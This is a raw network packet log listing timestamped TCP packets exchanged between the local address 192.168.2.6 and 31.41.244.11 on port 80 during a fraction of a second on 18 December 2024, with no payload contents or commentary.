Dec 18, 2024 11:47:30.008934021 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.008970976 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.009325027 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.009339094 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.009366989 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.009368896 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.009383917 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.009402037 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.010061979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.010112047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.010135889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.010148048 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.010170937 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.010186911 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.011039019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.011050940 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.011063099 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.011092901 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.011137009 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.011728048 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.011738062 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.011780024 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.011981010 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.011993885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.012006044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.012025118 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.012048006 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.012989044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.012999058 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.013017893 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.013025045 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.013041019 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.013061047 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.013622999 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.013634920 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.013647079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.013674974 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.013699055 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.014374018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.014406919 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.014417887 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.014420986 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.014446020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.014468908 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.015214920 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.015235901 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.015248060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.015258074 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.015276909 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.016220093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.016278982 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.016283989 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.016295910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.016350031 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.016819000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.016860008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.016864061 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.016871929 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.016902924 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.016925097 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.017600060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.017612934 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.017626047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.017651081 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.017666101 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.018470049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.018505096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.018516064 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.018517017 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.018548965 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.019203901 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.019229889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.019246101 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.019269943 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.019269943 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.019304991 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.019993067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.020015001 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.020025969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.020035028 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.020046949 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.020071030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.021003008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.021048069 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.021150112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.021169901 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.021200895 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.021225929 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.021615982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.021661043 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.021882057 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.021893024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.021929026 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.021939993 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.022491932 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.022504091 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.022543907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.022610903 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.022649050 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.023194075 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.023206949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.023240089 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.023255110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.023257971 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.023300886 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.024120092 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.024131060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.024142027 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.024163008 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.024199963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.024939060 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.024990082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.025021076 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.025032043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.025060892 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.025079966 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.025612116 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.025641918 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.025655985 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.025679111 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.025729895 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.025852919 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.026559114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.026571989 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.026583910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.026604891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.026629925 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.027347088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.027368069 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.027379990 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.027386904 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.027401924 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.027421951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.028085947 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.028135061 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.028151035 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.028163910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.028193951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.028217077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.028857946 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.028898954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.028943062 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.028955936 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.029189110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.029659033 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.029701948 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.029726028 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.029736996 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.029762983 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.029776096 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.030531883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.030580044 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.030606031 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.030617952 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.030644894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.030672073 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.031300068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.031352997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.031357050 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.031369925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.031398058 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.031415939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.032083988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.032094955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.032108068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.032135963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.032172918 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.032936096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.032988071 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.033091068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.033102036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.033143997 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.033679008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.033725977 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.033795118 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.033807993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.033832073 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.033849955 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.034504890 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.034553051 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.034565926 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.034588099 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.034590960 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.034629107 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.035329103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.035340071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.035376072 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.035399914 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.035439014 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.036201000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.036215067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.036248922 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.036261082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.036402941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.036442995 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.210947037 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.211013079 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.211038113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.211057901 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.211086035 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.211138964 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.211333990 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.211345911 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.211355925 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.211374998 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.211405993 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.212179899 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.212192059 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.212203026 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.212238073 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.212270021 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.212625027 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.212636948 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.212654114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.212677956 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.212683916 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.213496923 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.213506937 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.213519096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.213536024 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.213555098 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.213963985 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.213977098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.213988066 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.213999987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.214032888 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.216130972 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.216144085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.216156006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.216192007 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.216245890 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.216777086 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.216790915 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.216831923 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.217006922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.217084885 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.217216015 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.217227936 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.217241049 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.217259884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.217281103 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.218096972 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.218107939 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.218120098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.218151093 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.218168974 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.218208075 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.218220949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.218244076 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.218266010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.218972921 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.219022989 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.219074965 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.219086885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.219098091 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.219115019 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.219132900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.220046043 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.220057964 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.220068932 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.220098019 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.220114946 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.220874071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.220881939 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.220884085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.220928907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.221132040 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.221143961 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.221210957 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.221210957 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.221529007 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.221581936 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.222400904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.222412109 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.222421885 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.222429037 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.222460032 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.222471952 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.222836018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.222882986 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.223411083 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.223423004 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.223433018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.223464012 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.223495007 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.226315975 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.226336956 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.226351023 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.226368904 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.226385117 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.226401091 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.226907969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.226919889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.226983070 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.227088928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.227144957 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.227255106 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.227267981 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.227307081 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.227478981 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.227533102 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.228277922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.228290081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.228302002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.228342056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.228342056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.228405952 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.228446007 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.228787899 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.228799105 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.228837013 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.228852987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.229064941 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.229078054 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.229089022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.229104996 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.229125023 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.229857922 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.229904890 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.229918957 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.229932070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.229959965 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.229974985 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.230976105 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.230988026 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.230999947 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.231021881 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.231043100 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.231071949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.231085062 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.231096029 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.231112003 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.231137037 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.231956005 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.231970072 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.231981993 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.231998920 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.232024908 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:30.232642889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:30.232655048 CET	80	49837	31.41.244.11	192.168.2.6
